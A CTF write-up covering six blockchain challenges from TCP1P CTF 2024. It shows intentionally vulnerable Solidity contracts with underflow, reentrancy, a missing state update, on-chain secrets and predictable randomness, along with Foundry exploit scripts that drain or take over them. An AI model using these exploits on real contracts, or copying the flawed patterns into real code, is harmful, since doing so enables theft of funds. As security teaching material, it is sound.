TCP1P CTF 2024 (Blockchain)
Hello Friend,
I recently participated in TCP1P CTF 2024, which featured 6 blockchain challenges.
I managed to solve all blockchain challenges and thought you’d enjoy reading this writeup.
This time I have played with 0bug CTF team. We secured 17th place in this event.
BabyERC20
Description
New token standards huh? https://eips.ethereum.org/EIPS/eip-20
HCOIN.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./Ownable.sol";
contract HCOIN is Ownable {
string public constant name = "HackerikaCoin";
string public constant symbol = "HCOIN";
uint8 public constant decimals = 18;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Deposit(address indexed to, uint value);
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0), "ERC20: transfer to the zero address");
require(balanceOf[msg.sender] - _value >= 0, "Insufficient Balance");
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool success) {
require(allowance[_from][msg.sender] >= _value, "Allowance exceeded");
require(_to != address(0), "ERC20: transfer to the zero address");
require(balanceOf[msg.sender] - _value >= 0, "Insufficient Balance");
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
fallback() external payable {
deposit();
}
}
Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Provides basic authorization control functions. This simplifies
* the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import { HCOIN } from "./HCOIN.sol";
contract Setup {
HCOIN public coin;
address player;
constructor() public payable {
require(msg.value == 1 ether);
coin = new HCOIN();
coin.deposit{value: 1 ether}();
}
function setPlayer(address _player) public {
require(_player == msg.sender, "Player must be the same with the sender");
require(_player == tx.origin, "Player must be a valid Wallet/EOA");
player = _player;
}
function isSolved() public view returns (bool) {
return coin.balanceOf(player) > 1000 ether; // im rich :D
}
}
Goal
The goal of challenge is to make the balance of player
is greater than 1000 ether.
Attack
- The contract are using solidity version
^0.6.0
- In
^0.6.0
solidity version arithmetic operations are done in unchecked mode by default. - Means which are vulnerable to Arithmetic Overflow/Underflow issues.
- Solutions is Pretty Straightforward to call
transfer()
function.
Mitigation
Use solidity version ^0.8.0
or SafeMath Library from OpenZeppelin.
Solve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import {Setup, HCOIN} from "../src/Setup.sol";
import {Script,console} from "forge-std/Script.sol";
contract Solve is Script {
Setup chall = Setup(0xE3Caeda7890b7900B8C36A9D6447DB13018Fd1AD);
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
chall.setPlayer(new Attack(chall.coin()).callme());
console.log(chall.isSolved());
}
}
contract Attack {
constructor(HCOIN coin) public {
coin.transfer(msg.sender, 1001 ether);
uint256 balance = coin.balanceOf(msg.sender);
console.log(balance);
}
function callme() external returns(address) {
return msg.sender;
}
}
forge script script/Solve.s.sol:Solve --rpc-url $RPC_URL
Flag# TCP1P{https://x.com/0xCharlesWang/status/1782350590946799888}
Curious Move
Description
It is just a simple, twisting, elegant single MOVE!
We are given with CuriousMove.mv
file.
It is the file containing Move ByteCode.
To Decompile the Move bytecode to Source code
aptos move decompile CuriousMove.mv
Then we get the source code
module 0x1::CuriousMove {
public fun xor_array() {
let v0 = 0x1::vector::empty<u8>();
0x1::vector::push_back<u8>(&mut v0, 99);
0x1::vector::push_back<u8>(&mut v0, 116);
0x1::vector::push_back<u8>(&mut v0, 103);
0x1::vector::push_back<u8>(&mut v0, 6);
0x1::vector::push_back<u8>(&mut v0, 103);
0x1::vector::push_back<u8>(&mut v0, 76);
0x1::vector::push_back<u8>(&mut v0, 86);
0x1::vector::push_back<u8>(&mut v0, 104);
0x1::vector::push_back<u8>(&mut v0, 84);
0x1::vector::push_back<u8>(&mut v0, 66);
0x1::vector::push_back<u8>(&mut v0, 69);
0x1::vector::push_back<u8>(&mut v0, 94);
0x1::vector::push_back<u8>(&mut v0, 88);
0x1::vector::push_back<u8>(&mut v0, 66);
0x1::vector::push_back<u8>(&mut v0, 68);
0x1::vector::push_back<u8>(&mut v0, 104);
0x1::vector::push_back<u8>(&mut v0, 64);
0x1::vector::push_back<u8>(&mut v0, 86);
0x1::vector::push_back<u8>(&mut v0, 89);
0x1::vector::push_back<u8>(&mut v0, 83);
0x1::vector::push_back<u8>(&mut v0, 82);
0x1::vector::push_back<u8>(&mut v0, 69);
0x1::vector::push_back<u8>(&mut v0, 82);
0x1::vector::push_back<u8>(&mut v0, 69);
0x1::vector::push_back<u8>(&mut v0, 104);
0x1::vector::push_back<u8>(&mut v0, 94);
0x1::vector::push_back<u8>(&mut v0, 67);
0x1::vector::push_back<u8>(&mut v0, 104);
0x1::vector::push_back<u8>(&mut v0, 68);
0x1::vector::push_back<u8>(&mut v0, 82);
0x1::vector::push_back<u8>(&mut v0, 82);
0x1::vector::push_back<u8>(&mut v0, 90);
0x1::vector::push_back<u8>(&mut v0, 68);
0x1::vector::push_back<u8>(&mut v0, 74);
let v1 = 0x1::vector::empty<u8>();
let v2 = 0;
while (v2 < 0x1::vector::length<u8>(&v0)) {
0x1::vector::push_back<u8>(&mut v1, *0x1::vector::borrow<u8>(&v0, v2) ^ 55);
v2 = v2 + 1;
};
0x1::debug::print<vector<u8>>(&v1);
}
// decompiled from Move bytecode v6
}
Let us create a simple python script.
v0 = [99, 116, 103, 6, 103, 76, 86, 104, 84, 66, 69, 94, 88, 66, 68, 104, 64, 86, 89, 83, 82, 69, 82, 69, 104, 94, 67, 104, 68, 82, 82, 90, 68, 74]
v1 = [byte ^ 55 for byte in v0]
print("".join(chr(b) for b in v1))
Flag# TCP1P{a_curious_wanderer_it_seems}
Executive Problem
Description
If only we managed to climb high enough, maybe we can dethrone someone?
CrainExecutive.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract CrainExecutive{
address public owner;
uint256 public totalSupply;
address[] public Executives;
mapping(address => uint256) public balanceOf;
mapping(address => bool) public permissionToExchange;
mapping(address => bool) public hasTakeBonus;
mapping(address => bool) public isEmployee;
mapping(address => bool) public isManager;
mapping(address => bool) public isExecutive;
modifier _onlyOnePerEmployee(){
require(hasTakeBonus[msg.sender] == false, "Bonus can only be taken once!");
_;
}
modifier _onlyExecutive(){
require(isExecutive[msg.sender] == true, "Only Higher Ups can access!");
_;
}
modifier _onlyManager(){
require(isManager[msg.sender] == true, "Only Higher Ups can access!");
_;
}
modifier _onlyEmployee(){
require(isEmployee[msg.sender] == true, "Only Employee can exchange!");
_;
}
constructor() payable{
owner = msg.sender;
totalSupply = 50 ether;
balanceOf[msg.sender] = 25 ether;
}
function claimStartingBonus() public _onlyOnePerEmployee{
balanceOf[owner] -= 1e18;
balanceOf[msg.sender] += 1e18;
}
function becomeEmployee() public {
isEmployee[msg.sender] = true;
}
function becomeManager() public _onlyEmployee{
require(balanceOf[msg.sender] >= 1 ether, "Must have at least 1 ether");
require(isEmployee[msg.sender] == true, "Only Employee can be promoted");
isManager[msg.sender] = true;
}
function becomeExecutive() public {
require(isEmployee[msg.sender] == true && isManager[msg.sender] == true);
require(balanceOf[msg.sender] >= 5 ether, "Must be that Rich to become an Executive");
isExecutive[msg.sender] = true;
}
function buyCredit() public payable _onlyEmployee{
require(msg.value >= 1 ether, "Minimum is 1 Ether");
uint256 totalBought = msg.value;
balanceOf[msg.sender] += totalBought;
totalSupply += totalBought;
}
function sellCredit(uint256 _amount) public _onlyEmployee{
require(balanceOf[msg.sender] - _amount >= 0, "Not Enough Credit");
uint256 totalSold = _amount;
balanceOf[msg.sender] -= totalSold;
totalSupply -= totalSold;
}
function transfer(address to, uint256 _amount, bytes memory _message) public _onlyExecutive{
require(to != address(0), "Invalid Recipient");
require(balanceOf[msg.sender] - _amount >= 0, "Not enough Credit");
uint256 totalSent = _amount;
balanceOf[msg.sender] -= totalSent;
balanceOf[to] += totalSent;
(bool transfered, ) = payable(to).call{value: _amount}(abi.encodePacked(_message));
require(transfered, "Failed to Transfer Credit!");
}
}
Crain.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "./CrainExecutive.sol";
contract Crain{
CrainExecutive public ce;
address public crain;
modifier _onlyExecutives(){
require(msg.sender == address(ce), "Only Executives can replace");
_;
}
constructor(address payable _ce) {
ce = CrainExecutive(_ce);
crain = msg.sender;
}
function ascendToCrain(address _successor) public _onlyExecutives{
crain = _successor;
}
receive() external payable { }
}
Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "./Crain.sol";
import "./CrainExecutive.sol";
contract Setup{
CrainExecutive public cexe;
Crain public crain;
constructor() payable{
cexe = new CrainExecutive{value: 50 ether}();
crain = new Crain(payable(address(cexe)));
}
function isSolved() public view returns(bool){
return crain.crain() != address(this);
}
}
Goal
Make the crain
variable of Crain
contract to Setup
contracts address.
Attack
- The
crain
variable is set insideascendToCrain()
function inCrain
Contract. - The
ascendToCrain()
function is only callable byCrainExecutive
Contract. - In
CrainExecutive
contract external calls only done viatransfer
function. - To call
transfer()
function we need to be executive. - To become Executive we need to first be Employee, then Manager, then Executive
- The bug is inside
claimStartingBonus
function which is not updated tohasTakeBonus
. - So, we can call
claimStartingBonus()
function after callingbecomeEmployee()
function. - After calling
claimStartingBonus()
function 5 times we can able to become Executive. - By calling,
becomeManager()
, thenbecomeExecutive()
.
Mitigation
Update the hasTakeBonus
Mapping inside claimStartingBonus()
function.
Solve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "../src/Setup.sol";
import "forge-std/Script.sol";
contract Solve is Script {
Setup chall = Setup(0xd61a5319c5033709b9d4D541C545bf5dD2FFa649);
CrainExecutive cexe;
Crain crain;
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
cexe = chall.cexe();
crain = chall.crain();
cexe.becomeEmployee();
cexe.claimStartingBonus();
cexe.claimStartingBonus();
cexe.claimStartingBonus();
cexe.claimStartingBonus();
cexe.claimStartingBonus();
cexe.becomeManager();
cexe.becomeExecutive();
bytes memory message = abi.encodeWithSignature("ascendToCrain(address)", address(0xdeadbeef));
cexe.transfer(address(crain), 0, message);
console.log("Solved#",chall.isSolved());
}
}
Flag# TCP1P{Imagine_getting_kicked_out_like_that_by_s0m3_3Xecu7iVE}
Inju’s Gambit
Description
Inju owns all the things in the area, waiting for one worthy challenger to emerge. Rumor said, that there many ways from many different angle to tackle Inju. Are you the Challenger worthy to oppose him?
ChallengeManager.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
import "./Privileged.sol";
contract ChallengeManager{
Privileged public privileged;
error CM_FoundChallenger();
error CM_NotTheCorrectValue();
error CM_AlreadyApproached();
error CM_InvalidIdOfChallenger();
error CM_InvalidIdofStranger();
error CM_CanOnlyChangeSelf();
bytes32 private masterKey;
bool public qualifiedChallengerFound;
address public theChallenger;
address public casinoOwner;
uint256 public challengingFee;
address[] public challenger;
mapping (address => bool) public approached;
modifier stillSearchingChallenger(){
require(!qualifiedChallengerFound, "New Challenger is Selected!");
_;
}
modifier onlyChosenChallenger(){
require(msg.sender == theChallenger, "Not Chosen One");
_;
}
constructor(address _priv, bytes32 _masterKey) {
casinoOwner = msg.sender;
privileged = Privileged(_priv);
challengingFee = 5 ether;
masterKey = _masterKey;
}
function approach() public payable {
if(msg.value != 5 ether){
revert CM_NotTheCorrectValue();
}
if(approached[msg.sender] == true){
revert CM_AlreadyApproached();
}
approached[msg.sender] = true;
challenger.push(msg.sender);
privileged.mintChallenger(msg.sender);
}
function upgradeChallengerAttribute(uint256 challengerId, uint256 strangerId) public stillSearchingChallenger {
if (challengerId > privileged.challengerCounter()){
revert CM_InvalidIdOfChallenger();
}
if(strangerId > privileged.challengerCounter()){
revert CM_InvalidIdofStranger();
}
if(privileged.getRequirmenets(challengerId).challenger != msg.sender){
revert CM_CanOnlyChangeSelf();
}
uint256 gacha = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp))) % 4;
if (gacha == 0){
if(privileged.getRequirmenets(strangerId).isRich == false){
privileged.upgradeAttribute(strangerId, true, false, false, false);
}else if(privileged.getRequirmenets(strangerId).isImportant == false){
privileged.upgradeAttribute(strangerId, true, true, false, false);
}else if(privileged.getRequirmenets(strangerId).hasConnection == false){
privileged.upgradeAttribute(strangerId, true, true, true, false);
}else if(privileged.getRequirmenets(strangerId).hasVIPCard == false){
privileged.upgradeAttribute(strangerId, true, true, true, true);
qualifiedChallengerFound = true;
theChallenger = privileged.getRequirmenets(strangerId).challenger;
}
}else if (gacha == 1){
if(privileged.getRequirmenets(challengerId).isRich == false){
privileged.upgradeAttribute(challengerId, true, false, false, false);
}else if(privileged.getRequirmenets(challengerId).isImportant == false){
privileged.upgradeAttribute(challengerId, true, true, false, false);
}else if(privileged.getRequirmenets(challengerId).hasConnection == false){
privileged.upgradeAttribute(challengerId, true, true, true, false);
}else if(privileged.getRequirmenets(challengerId).hasVIPCard == false){
privileged.upgradeAttribute(challengerId, true, true, true, true);
qualifiedChallengerFound = true;
theChallenger = privileged.getRequirmenets(challengerId).challenger;
}
}else if(gacha == 2){
privileged.resetAttribute(challengerId);
qualifiedChallengerFound = false;
theChallenger = address(0);
}else{
privileged.resetAttribute(strangerId);
qualifiedChallengerFound = false;
theChallenger = address(0);
}
}
function challengeCurrentOwner(bytes32 _key) public onlyChosenChallenger{
if(keccak256(abi.encodePacked(_key)) == keccak256(abi.encodePacked(masterKey))){
privileged.setNewCasinoOwner(address(theChallenger));
}
}
function getApproacher(address _who) public view returns(bool){
return approached[_who];
}
function getPrivilegedAddress() public view returns(address){
return address(privileged);
}
}
Privileged.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract Privileged{
error Privileged_NotHighestPrivileged();
error Privileged_NotManager();
struct casinoOwnerChallenger{
address challenger;
bool isRich;
bool isImportant;
bool hasConnection;
bool hasVIPCard;
}
address public challengeManager;
address public casinoOwner;
uint256 public challengerCounter = 1;
mapping(uint256 challengerId => casinoOwnerChallenger) public Requirements;
modifier onlyOwner() {
if(msg.sender != casinoOwner){
revert Privileged_NotHighestPrivileged();
}
_;
}
modifier onlyManager() {
if(msg.sender != challengeManager){
revert Privileged_NotManager();
}
_;
}
constructor() payable{
casinoOwner = msg.sender;
}
function setManager(address _manager) public onlyOwner{
challengeManager = _manager;
}
function fireManager() public onlyOwner{
challengeManager = address(0);
}
function setNewCasinoOwner(address _newCasinoOwner) public onlyManager{
casinoOwner = _newCasinoOwner;
}
function mintChallenger(address to) public onlyManager{
uint256 newChallengerId = challengerCounter++;
Requirements[newChallengerId] = casinoOwnerChallenger({
challenger: to,
isRich: false,
isImportant: false,
hasConnection: false,
hasVIPCard: false
});
}
function upgradeAttribute(uint256 Id, bool _isRich, bool _isImportant, bool _hasConnection, bool _hasVIPCard) public onlyManager {
Requirements[Id] = casinoOwnerChallenger({
challenger: Requirements[Id].challenger,
isRich: _isRich,
isImportant: _isImportant,
hasConnection: _hasConnection,
hasVIPCard: _hasVIPCard
});
}
function resetAttribute(uint256 Id) public onlyManager{
Requirements[Id] = casinoOwnerChallenger({
challenger: Requirements[Id].challenger,
isRich: false,
isImportant: false,
hasConnection: false,
hasVIPCard: false
});
}
function getRequirmenets(uint256 Id) public view returns (casinoOwnerChallenger memory){
return Requirements[Id];
}
function getNextGeneratedId() public view returns (uint256){
return challengerCounter;
}
function getCurrentChallengerCount() public view returns (uint256){
return challengerCounter - 1;
}
}
Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
import "./Privileged.sol";
import "./ChallengeManager.sol";
contract Setup {
Privileged public privileged;
ChallengeManager public challengeManager;
Challenger1 public Chall1;
Challenger2 public Chall2;
constructor(bytes32 _key) payable{
privileged = new Privileged{value: 100 ether}();
challengeManager = new ChallengeManager(address(privileged), _key);
privileged.setManager(address(challengeManager));
// prepare the challenger
Chall1 = new Challenger1{value: 5 ether}(address(challengeManager));
Chall2 = new Challenger2{value: 5 ether}(address(challengeManager));
}
function isSolved() public view returns(bool){
return address(privileged.challengeManager()) == address(0);
}
}
contract Challenger1 {
ChallengeManager public challengeManager;
constructor(address _target) payable{
require(msg.value == 5 ether);
challengeManager = ChallengeManager(_target);
challengeManager.approach{value: 5 ether}();
}
}
contract Challenger2 {
ChallengeManager public challengeManager;
constructor(address _target) payable{
require(msg.value == 5 ether);
challengeManager = ChallengeManager(_target);
challengeManager.approach{value: 5 ether}();
}
}
Goal
The goal of the Challenge is to fire the challengeManager
in the Privileged
contract.
Attack
- We are given with 10 ether.
- To fire the Manager inside we need be the
casinoOwner
of the Privileged Contract. - The
casinOwner
is set insidesetNewCasinoOwner()
function by theChallengeManager
. - The
setNewCasinoOwner()
is set insidechallengeCurrentOwner()
only by thetheChallenger
of theChallengeManager
Contract. - The
theChallenger
is set insideupgradeChallengerAttribute()
function of theChallengeManager
Contract. - To call
approach
we need 5 ethers. - Let us consider the case where
gacha
is 0, we need to hold two contracts, such 10 ethers completed then left 0 for gas. - To Solve the challenge the
gacha
needs to be 1. - After calling
upgradeChallengerAttribute
for 4 time we can be thetheChallenger
. - As the
key
is onchain we can get it and the callingchallengeCurrentOwner()
we can become thecasinoOwner
of the Privileged Contract. - It’s time to fire the manager…..
Mitigation
Don’t Send or Store Sensitive data On Chain
Solve.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Setup, ChallengeManager, Privileged} from "../../src/Gambit/Setup.sol";
import {Script,console} from "forge-std/Script.sol";
contract Solve is Script {
Setup chall = Setup(0x09e946A9CDe77B622D68cDf1e660F7cd6F82C966);
ChallengeManager challengeManager;
bytes32 key;
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
challengeManager = chall.challengeManager();
key = vm.load(address(challengeManager), bytes32(uint256(1)));
new Challenger1{value: 7 ether}(address(challengeManager), key, address(chall));
}
}
contract Challenger1 {
ChallengeManager public challengeManager;
constructor(address _target, bytes32 key, address chall) payable{
uint256 gocha = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp))) % 4;
challengeManager = ChallengeManager(_target);
challengeManager.approach{value: 5 ether}();
challengeManager.upgradeChallengerAttribute(3, 2);
challengeManager.upgradeChallengerAttribute(3, 2);
challengeManager.upgradeChallengerAttribute(3, 2);
challengeManager.upgradeChallengerAttribute(3, 2);
Privileged priv = Setup(chall).privileged();
challengeManager.challengeCurrentOwner(key);
priv.fireManager();
console.log("Solved#", Setup(chall).isSolved());
}
}
forge script script/Solve.s.sol:Solve --rpc-url $RPC_URL
Flag# TCP1P{is_it_really_a_gambit_tho_its_not_that_hard}
Minecraft huh
Description
Say, everyone knows minecraft right? The game about mining block after block after block after block…..
NOTE! You only need to spawn an instance, no need to press the “Flag” button. The isSolved() function will always return false afterall.
Solution
We are given with a Setup Contract address.
I got the bytecode of the contract using cast
, but I found nothing useful from the contract byte code.
I found there are 8 blocks mined, Curious to inspect the Transactions, As I was Lazy at that moment of time,
I used Rivet Chrome Extension then set the RPC URL. Then boom…
Found the Flag inside a transaction of the 6th block.
Flag# TCP1P{running_through_some_blocks_have_you?}
Unsolveable Money Captcha
Description
Oh no! Hackerika just made a super-duper mysterious block chain thingy! I’m not sure what she’s up to, maybe creating a super cool bank app? But guess what? It seems a bit wobbly because it’s asking us to solve a super tricky captcha! What a silly kid! Let’s help her learn how to make a super-duper awesome contract with no head-scratching captcha! XD
Captcha.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Captcha {
event CaptchaGenerated(uint256 captcha);
function generateCaptcha(uint256 _secret) external returns (uint256) {
uint256 captcha = uint256(keccak256(abi.encodePacked(_secret, block.number, block.timestamp)));
emit CaptchaGenerated(captcha);
return captcha;
}
}
Money.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "./Captcha.sol";
contract Money {
mapping(address => uint) public balances;
Captcha public captchaContract;
uint256 public immutable secret;
constructor(Captcha _captcha) {
captchaContract = _captcha;
secret = uint256(blockhash(block.prevrandao));
}
function save() public payable {
require(msg.value > 0, "You don't have money XP");
balances[msg.sender] += msg.value;
}
function load(uint256 userProvidedCaptcha) public {
uint balance = balances[msg.sender];
require(balance > 0, "You don't have money to load XD");
uint256 generatedCaptcha = captchaContract.generateCaptcha(secret);
require(userProvidedCaptcha == generatedCaptcha, "Invalid captcha");
(bool success,) = msg.sender.call{value: balance}("");
require(success, 'Oh my god, what is that!?');
balances[msg.sender] = 0;
}
}
Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Money.sol";
contract Setup {
Money public immutable moneyContract;
Captcha public immutable captchaContract;
constructor() payable {
require(msg.value == 100 ether);
captchaContract = new Captcha();
moneyContract = new Money(captchaContract);
moneyContract.save{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(moneyContract).balance == 0;
}
}
Goal
We need to drain the moneyContract
balance.
Attack
- We are given with more than the money of the moneyContract Balance.
- In
Money.sol
,load()
function is vulnerable to the great Reentrancy attack. - The balance of the contract is updated after the external call.
- By using
fallback()
function we can hijack the call, and drain the balance ofmoneyContract
.
Solve.s.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Setup, Money} from "../src/Setup.sol";
import {Script,console} from "forge-std/Script.sol";
contract Solve is Script {
Setup chall = Setup(0x63d3C2B31E3c743631C2bF90c82aE5333E98CB54);
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
Money money = chall.moneyContract();
uint256 secret = money.secret();
console.log("Before# ",address(money).balance);
new Attack(address(money), secret).deposit{value: address(money).balance}();
console.log("After# ",address(money).balance);
console.log("Solved# ", chall.isSolved());
}
}
contract Attack {
Money money;
uint256 secret;
constructor(address _money, uint256 _secret) {
money = Money(_money);
secret = _secret;
}
function deposit() external payable {
uint256 captcha = uint256(keccak256(abi.encodePacked(secret, block.number, block.timestamp)));
money.save{value: msg.value}();
money.load(captcha);
}
fallback() external payable {
if(address(money).balance > 0) {
uint256 captcha = uint256(keccak256(abi.encodePacked(secret, block.number, block.timestamp)));
money.load(captcha);
}
}
}
forge script script/Solve.s.sol:Solve --rpc-url $RPC_URL
Flag# TCP1P{retrancy_attack_plus_not_so_random_captcha}
Thanks for reading!